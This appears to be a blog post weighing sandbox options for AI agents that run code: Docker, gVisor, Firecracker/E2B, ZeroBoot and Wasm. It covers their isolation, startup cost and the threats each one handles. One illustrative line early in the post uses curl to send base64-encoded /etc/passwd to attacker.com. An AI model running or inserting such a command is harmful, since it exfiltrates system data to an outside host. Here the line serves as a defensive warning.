Before letting AI run code, get the sandbox question right
Once an agent can execute code, it can do everything a programmer sitting in front of a terminal can. Break down the trade-offs among Docker, gVisor, Firecracker, and Wasm sandboxing approaches.
A few days ago a project called ZeroBoot hit the front page of Hacker News, claiming it can boot a complete Linux VM within 0.79ms (p50). The comments section first refused to believe it, then started arguing.
The number is genuinely counterintuitive — a microVM purpose-built for serverless like Firecracker still needs 150ms+ for a cold start. 0.79ms means you could cold-start a thousand isolated VMs per second, thanks to Copy-on-Write KVM fork.
It went viral for a reason. It pokes at the most practical tension in the AI Agent field right now: an agent needs to run code, running code needs isolation, and isolation has a cost.
Why this is not a small problem
When an agent calls tools — search, querying a database, sending email — those actions are enumerable; you can audit every single call.
Code execution is a completely different matter. It is Turing complete. Once an agent can run arbitrary code, it can do exactly what a programmer at a terminal can.
A seemingly harmless task: “help me analyze this CSV.” The code the agent generates could look like this:
import os
os.system("curl https://attacker.com/$(cat /etc/passwd | base64)")
Roughly three categories of risk:
- Prompt-injection escape: malicious content tricks the agent into running the attacker’s code, reading secrets, or exfiltrating data
- Resource abuse: infinite loops, fork bombs, filling the disk — bringing down the whole host
- Lateral movement: reading secrets from environment variables, or accessing other users’ data on the same machine
Products like Manus and Perplexity choose microVMs over ordinary containers precisely because their threat model is different, and so is their tolerance for isolation cost.
A gradient from light to heavy
Sandboxing isn’t a yes/no question; it’s a continuous gradient where isolation strength and resource cost rise together:
| Approach | Isolation mechanism | Startup latency | Memory/sandbox | Who uses it |
|---|---|---|---|---|
| Docker | namespace + cgroup | ~500ms | tens of MB | local tools |
| gVisor | user-space Linux kernel | ~100ms | higher | Google Cloud Run |
| Firecracker / E2B | independent-kernel microVM | ~150ms | default 1GB | Manus, Perplexity |
| ZeroBoot | CoW KVM fork | 0.79ms | 265KB | high-concurrency scenarios |
| Wasm | linear memory model | milliseconds | extremely low | JS/Node agents |
Newer isn’t always better; better-matched is. Here are a few trade-off points I consider key.
Containers: sufficient, but know their boundary
For most personal projects and internal tools, Docker is enough. It’s simple, the ecosystem is mature, and a few-hundred-millisecond startup is acceptable.
But one design detail is worth noting — it’s not about whether you use Docker, but how you configure it. Take a local code-fixing agent as an example; a few decisions in its sandbox logic are typical:
- Stateless: run with
--rmso the container is destroyed immediately after, leaving no state - Network isolation: default
--network none, opened only when local model access is needed - Working-dir mount: only the current directory is mounted into
/workspace; the rest of the host is invisible - Env-var whitelist: only pass through variables with a specific prefix, to avoid leaking host secrets
The last point is the easiest to overlook. By default a container inherits a large pile of environment variables, which often include API keys. A whitelist is a few lines of code, but if something goes wrong it’s a big deal.
The fundamental limit of containers: they isolate the view, not the kernel. All containers share the host’s single Linux kernel. Namespaces separate the view of filesystem, network, and PIDs; the kernel itself is shared. History has seen multiple kernel vulnerabilities that escape from container to host, of which CVE-2019-5736 (runc escape) is the most famous.
So the judging standard is actually clear: low threat, not exposed externally, single-user → containers are enough; multi-tenant, public-facing, shared kernel is a fundamental risk.
microVM: a real kernel per sandbox
Firecracker is the microVM AWS designed for Lambda and Fargate; its design philosophy is one line: minimal attack surface. Each sandbox has its own kernel, so container-escape problems don’t exist by construction.
The cost is each sandbox eats 1GB of memory by default, with a ~150ms cold start. E2B layers managed hosting on top, so you don’t have to run a Firecracker cluster yourself.
When is it worth it? My call: when your agent is a service facing external users and it executes user-controlled code. For internal tools you run yourself, it’s not worth it.
So what does ZeroBoot’s 0.79ms mean
It uses CoW KVM fork: first spin up an initialized “master” VM, and each time a new sandbox is needed, fork from the master with copy-on-write. Fast startup, low memory (265KB/sandbox) — essentially it prepays the “initialization” cost.
Sounds perfect, but it changes the applicable scenario, not “beats everything.” Sandboxes forked out share the master’s initial state; if your agent needs a different pre-installed environment per task, this advantage disappears. It fits “high-concurrency, homogeneous environment, short lifecycle” scenarios — e.g., batch-executing user-submitted code snippets.
Wasm is another path
Wasm’s linear memory model is inherently suited to sandboxing: no arbitrary pointers, no direct syscall access, millisecond startup, extremely low memory. For JS/Node-ecosystem agents, running user code in Wasm is the lowest-cost isolation.
The cost is ecosystem limits — not every library runs in Wasm; anything touching the filesystem, network, or native extensions is dicey.
How I would choose
Compress the decision into three questions:
- Who wrote the code? Agent-generated (user only gives the task) → low threat, container + whitelist suffices; user-submitted code → high threat, go microVM
- Who is the service exposed to? Yourself and your team → container; public multi-tenant → microVM or Wasm
- How long is the sandbox lifecycle? Second-level short tasks, homogeneous environment → fork approaches like ZeroBoot; need different environments → honestly spin up containers/VMs
One last bit of experience: whichever you choose, make env-var whitelisting and habits like --rm instinctive. When things actually break, what saves you is often not how advanced your isolation is, but whether you leaked secrets into it.
Follow me